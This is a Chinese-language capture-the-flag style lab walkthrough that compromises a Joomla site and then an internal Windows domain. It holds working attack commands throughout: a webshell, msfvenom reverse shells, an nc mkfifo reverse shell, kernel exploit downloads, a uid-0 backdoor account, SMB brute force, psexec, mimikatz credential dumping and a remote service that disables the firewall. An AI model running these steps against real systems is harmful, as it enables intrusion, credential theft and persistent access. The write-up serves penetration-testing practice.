外网WEB
信息搜集 已经知道目标IP地址 : 192.168.1.110 对其进行 常规扫描信息搜集
对其简单的Nmap 扫描 发现存在三个端口 22 80 3306 那就可以猜测 开放了80 端口,3306 是否存在phpmyadmin 页面等等 看看http开放了啥
1 2 3 4 5 6 7 8 80 /tcp open http nginx 1.9 .4 | http-robots.txt: 15 disallowed entries | /joomla/administrator/ /administrator/ /bin / /cache/ | /cli/ /components/ /includes/ /installation/ /language/ |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ |_http-title: Home |_http-generator: Joomla! - Open Source Content Management |_http-server-header: nginx/1.9 .4
存在nginx 可能存在端口转发啥的 看着像一个博客系统 其实nmap 已经扫描出来是啥cms了
1 http-generator: Joomla! - Open Source Content Management
是一个Joomla 的 内容管理系统 对其先进行目录扫描
1 2 3 4 5 6 gobuster dir -u http://192.168 .1 .110 / -w /usr/share/seclists/Discovery/Web-Content/directory-list -1.0 .txt -x txt,php,html,jsp dirb "http://192.168.1.110" dirsearch -u http://192.168 .1 .110
先后台扫描着 ,先去看看这个内容管理系统是啥 ,是否存在近期漏洞
Joomla 内容管理系统 Joomla是一套全球知名的内容管理系统。 [1] Joomla是使用PHP 语言加上MySQL数据库 所开发的软件系统,最新版本是4.2.8 [2] 。可以在Linux、 Windows 、MacOSX 等各种不同的平台上执行。
存在历史漏洞: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 (CVE-2015 -8562 ) Joomla 3.4 .5 反序列化漏洞 本漏洞根源是PHP5.6 .13 前的版本在读取存储好的session时, 如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。 而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4 字节的utf8数据时则会导致截断。 截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。 (CVE-2016 -8869 ) Joomla 3.4 .4 -3.6 .3 未授权创建特权用户 网站关闭注册的情况下仍可创建用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。 (CVE-2017 -14596 ) Joomla! 1.5 <= 3.7 .5 LDAP注入绕过登录认证 通过在登录页面利用该漏洞进行攻击,非特权的远程攻击者可以提取出LDAP服务器中所有的用户凭证 (用于安装Joomla!),这些凭证包括特权用户以及Joomla!管理员的用户名以及密码。 获取到这些凭证之后,攻击者就可以使用这些信息来登录Joomla!的管理员控制面板并完全接管Joomla!, 或者通过上传自定义的Joomla!扩展实现远程代码执行并相关的Web服务器。 (CVE-2017 -8917 ) Joomla 3.7 .0 QL注入漏洞 (CVE-2020 -10238 )Joomal <= 3.9 .15 远程命令执行漏洞 (CVE-2020 -11890 ) Joomla 远程命令执行漏洞 受影响的版本:3.9 .17 之前的Joomla核心 用户要求:管理员帐户(非超级管理员) 获得访问权限: 创建一个新的超级管理员,然后触发RCE。 Joomla! com_fabrik 3.9 .11 目录遍历漏洞 Version: 3.9 Joomla component GMapFP 3.30 任意文件上传 Joomla 3.4 .6 - 'configuration.php' 远程代码执行 CVE-2023 -23752 未授权访问 4.0 .0 - 4.2 .7 版本 参考: Google https://www.hacking8.com/bug-product/Joomla/Joomla-3 -3.4 .6 -%E8%BF%9C%E7%A8%8B%E5%91 %BD%E4%BB%A4%E6%89 %A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
存在漏洞数量不小,但是我们不知道的是现在这个Joomal 版本是多少 经过搜索的得知存在 一个 关于 Joomla 的 漏洞扫描
Joomscan 扫描工具 是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报 Kali 安装 : apt install joomscan 扫描一下
1 joomscan --url http://192.168 .1 .110
扫描到了版本号 3.9.2 存在sql注入和 文件上传的 现在去看看扫描结果 找后台 ,找注入,找上传
目录扫描结果 现在先回去看目录扫描 扫描出了啥 可疑目录
1 2 3 4 5 6 7 8 9 [20 :30 :50 ] 200 - 31B - /administrator/logs/ [20 :30 :52 ] 200 - 5KB - /administrator/ [20 :30 :52 ] 200 - 5KB - /administrator/index.php [20 :30 :56 ] 200 - 31B - /bin / [20 :31 :01] 200 - 2KB - /configuration.php~ [20 :31 :13 ] 200 - 3KB - /htaccess.txt [20 :31 :57 ] 200 - 2KB - /web.config.txt [20 :31 :49 ] 200 - 0B - /templates/system/ [20 :31 :40 ] 200 - 829B - /robots.txt
后台地址:: http://192.168.1.110/administrator/ htaccess.txt 泄露http://192.168.1.110/web.config.txt robots.txt 文件 存在的目录还是比较多的http://192.168.1.110/configuration.php~ 是一个配置php文件 这部分信息是有用的信息 ,知道了绝对路径 ,数据库账号密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public $dbtype = 'mysqli' ; public $host = 'localhost' ; public $user = 'testuser' ; public $password = 'cvcvgjASD!@' ; public $db = 'joomla' ; public $dbprefix = 'am2zu_' ; public $mailer = 'mail' ; public $mailfrom = 'test@test.com' ; public $fromname = 'test' ; public $sendmail = '/usr/sbin/sendmail' ; public $feed_limit = '10' ; public $log_path = '/var/www/html/administrator/logs' ; public $tmp_path = '/var/www/html/tmp' ; }
数据库 连接数据库 ::
1 账号密码 testuser cvcvgjASD!@
存在两个 users 表
1 2 am2zu_users umnbt_users
感觉是下面那个用户表 ,毕竟带有administrator 可是他的编码不知道是啥编码的 ,直接修改一个密码 或者 添加一个管理员用户
添加管理员 添加一个管理员 查看官方文档: https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
1 2 3 4 5 INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2' , 'admin2' , 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' , '' , NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8' ); select * from am2zu_users;
成功添加了一个admin / secret 的管理员用户上去
修改密码 修改 administrator 的密码,因为不知道加密方式也不知道是什么编码就不知道密码了
1 update am2zu_users set password=md5("123456") where id=891;
1 select * from am2zu_users where id=891;
可以看见 administrator 成功被修改掉密码了 尝试登录后台看看
webshell 成功登录后台 找上传 拿shell啦 Extensions->Templates->Templates->Beez3 Details and Files 可以修改和上传都可以 连接地址:http://192.168.1.110//templates/beez3/error.php 使用中国蚁剑 :地址: https://github.com/AntSwordProject/AntSword-Loader 执行命令 但是返回ret=127 说明是禁用了部分函数,不能执行命令导致 ,这就要突破disable_functions限制 原理: 当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令 这里使用蚁剑的插件 进行突破 disable_functions 安装这个插件 就选这个把 ,基本都是可以使用的 成功执行命令 这样不方便,先生成了msf的linux shell 反弹到msf 方便执行命令
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=1111 -f elf > shell.elf
这边发现一直反弹不了 ,没仔细看IP ,发现IP是192.168.93.120 并不是 192.168.1.110 了 这是咋回事呢 。。。?? 那就先信息搜集这台主机的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 uname -a uname -m cat /proc/version cat /etc/*-release cat /etc/issue hostname cat /etc/passwd cat /etc/group w whoami id sudo -l ps aux ls -la /etc/cron* ifconfig -a cat /etc/network/interfaces arp -a route netstat -anplt iptables -L
可以看出 是ubuntu 64 位系统 , 192.168.93.120 与 192.168.93.100 存在这连接的 看了下内核 是4.4.0-142 我尝试了 其中kali中
比较相近的poc 但是无果 查找到一个CVE-2019-18683 可能存在 提权 但是好像比较麻烦。。。先放一边 在tmp目录存在三个 文件
SSH 进入mysql ,mysql中存在 一个test.txt 文件
1 2 adduser wwwuser passwd wwwuser_123Aqx
是一个用户密码 mysql的数据库密码 ??? 显然不是啊 192.168.1.110 开放了22 端口 ,是否是他的密码呢 使用ssh 连接 报错
1 Unable to negotiate with 192.168 .1 .110 port 22 : no matching host key type found. Their offer: ssh-rsa,ssh-dss
由提示得知,ssh不能远程登录的原因为:没有找到相关的主机密钥类型。 1、确实是主机密钥类型不符合 2、不存在相关主机密钥类型 解决办法:
1 2 3 4 5 6 7 8 9 10 方法1 、命令中加参数 ssh -o HostKeyAlgorithms=+ssh-dss wwwueser@192.168 .1 .110 方法2 、在~/.ssh目录下添加config vi config 在config中写入以下code: Host * HostKeyAlgorithms +ssh-dss 重启ssh service ssh restart
使用方法一 成功连接 ssh 这才是对的 , 到这里已经获取到两台主机的权限了 ,但是偏低 ubuntu 提权比较麻烦,查看 Centos 是否好提权 2.6.32 提权希望很大啊 感觉这个25444.c 比较合适啊 失败 mempodipper.c 失败 http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 使用wget 获取 wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
Centos 脏牛(CVE-2016-5195)提权 https://github.com/FireFart/dirtycow 编译下载的EXP
1 gcc -pthread dirty.c -o dirty -lcrypt
执行
运行之后要恢复 passwd 先切换用户 firefart Centos成功提权
权限维持 创建一个test的 root 用户 密码为 123456
1 useradd -p 'openssl passwd -1 -salt ' salt' 123456' test -o -u 0 -g root -G root -s /bin /bash -d /home/mysqld
Ubuntu CVE-2021-3493 提权 因为Centos 没有 nc 要先下载nc 安装包
1 2 3 4 5 64 位 : http://vault.centos.org/6.6 /os/x86_64/Packages/nc-1.84 -22. el6.x86_64.rpm32 位: http://vault.centos.org/6.6 /os/i386/Packages/nc-1.84 -22. el6.i686.rpm
上传到Centos 上 安装
1 rpm -iUv nc-1.84 -22. el6.x86_64.rpm
把shell 反弹到 Centos Centos 监听 :
Ubuntu :
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin /sh -i 2 >&1 |nc 192.168 .93 .100 2222 >/tmp/f
成功反弹shell 把POC 上传上去 POC: https://github.com/briskets/CVE-2021-3493 Ubuntu特权提升漏洞(CVE-2021-3493)
1 2 3 4 5 6 7 8 9 10 11 12 13 漏洞描述 OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。 Linux内核中overlayfs文件系统中的Ubuntu特定问题, 在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。 由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。 影响版本 Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM
编译提权
1 2 3 gcc -o exp exploit.cchmod +x exp ./exp
成功提权
进入内网
Centos 上线MSF 使用msfvenom 生成 shell ,反弹到msf 上
1 msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.10 lport=1111 -f elf > a.elf
上传到Centos 运行 获取到shell 内网IP段 192.168.93.0 段 搭建路由
搭建MSF路由与代理 MSF路由
1 run autoroute -s 192.168.93.0/24
或者使用
1 2 3 use exploit/multi/script/web_delivery route add 192.168.93.0 255.255.255.0 1 route print
添加MSF路由 使用Vemom 搭建代理 Centos 客户端启动 服务器收到 socks 3333端口
smb 扫描 存活 1 2 3 use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.0/24 run
扫描结果
1 2 3 192.168.93.30 Windows 7 192.168.93.20 Windows 2008 192.168.93.10 Windows 2012 R2
使用Nmap 扫描 看看是否存在web服务
192.168.93.10
192.168.93.20
192.168.93.30
这个一直超时 ,扫描不出来。 使用 这句扫描的端口,banner 信息
1 proxychains4 nmap -Pn -sT -sV 192.168.93.10192.168.93.20192.168.93.30 -F
基本都是开放了smb,可能smb是一个突破口吧, 但是发现他们的域名是 test.org 域名 测试了ms17-010 ,ms08-067 都不行
SMB爆破 1 2 3 4 5 use auxiliary/scanner/smb/smb_login set SMBUSER administrator set PASS_FILE /root/pass.txt set rhosts 192.168.93.20 run
爆破出了win2008 ,win7 的 密码 是 123qwe!ASD
PsExec PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中。现在PsExec类的工具有各种语言的实现,如Metasploit的psexec psexec psh, Impacket psexec, pth-winexe, Empire Invoke-Psexec等等。 PsExec是一个轻量级的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
基本原理:: PsExec特点:
psexec远程运行需要远程计算机启用文件和打印共享且默认的Admin$共享映射到C:windows目录。
psexec建立连接之后目标机器上会被安装一个“PSEXESVC”服务。但是psexec安全退出之后这个服务会自动删除(在命令行下使用exit命令退出)。
PsExec详细运行过程:
TCP三次握手,通过SMB会话进行身份验证。
连接**admin$**共享,通过 SMB 访问默认共享文件夹 **ADMIN$**,写入PSEXESVC.exe文件;
利用ipc命名管道调用svcctl服务
利用svcctl服务开启psexesvc服务
生成4个命名管道以供使用。一个psexesvc管道用于服务本身,另外的管道stdin(输入)、stdout(输出)、stderr(输出)用于重定向进程。1 2 3 4 5 6 use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp #设置正向连接 set rhost 192.168.93.20 set smbuser administrator set smbpass 123qwe!ASD run
直接就登录了 少去提权步骤了都 20,30 都是system 权限 因为前面扫描的的时候就已经知道 域名是test.org 了 ping一下就ok了 现在需要用到 mimikatz 抓取密码
kiwi_cmd 利用msf自带的mimikatz ,并入了kiwi
1 2 load kiwi #加载 kiwi kiwi_cmd sekurlsa::logonpasswords #调用kiwi_cmd执行mimikatz命令
在win7上面没有抓到 在win2008 上面抓到 域控的密码了
1 2 3 4 kerberos : * Username : Administrator * Domain : TEST.ORG * Password : zxcASDqw123!!
IPC 远程连接 因为使用psexec 这里建立不了域控的连接,先使用 IPC 进行连接
1 2 3 net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator dir \\192.168.93.10\C$\users\administrator\Documents type \\192.168.93.10\C$\users\administrator\Documents\flag.txt
这样就获取到了 域控目录下的flag.txt
SC 命令 使用sc远程在域制器(192.168.93.10)上创建服务关闭防火墙:
1 2 sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.10 start unablefirewall
关闭成功,再次使用psexec 成功获取了权限 并且是system
1 proxychains4 python3 wmiexec-pro.py administrator:zxcASDqw123!!@192.168.93.10 exec-command -shell
wmiexec https://github.com/XiaoliChan/wmiexec-Pro #这个是pro ,但是我没有连接成功
1 proxychains python3 wmiexec-pro.py administrator:zxcASDqw123!!@192.168.93.10 exec-command -shell
并不能成功运行
https://github.com/fortra/impacket/blob/master/examples/wmiexec.py #这个是可以用的
1 proxychains python3 wmiexec.py 'TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10'
成功执行 ,获取到了shell
主要是这个centos 靶机老是断开连接,网卡获取几个小时ip后就断了 ,要重新获取,或者 恢复快照, 其他还好 ,用时两天左右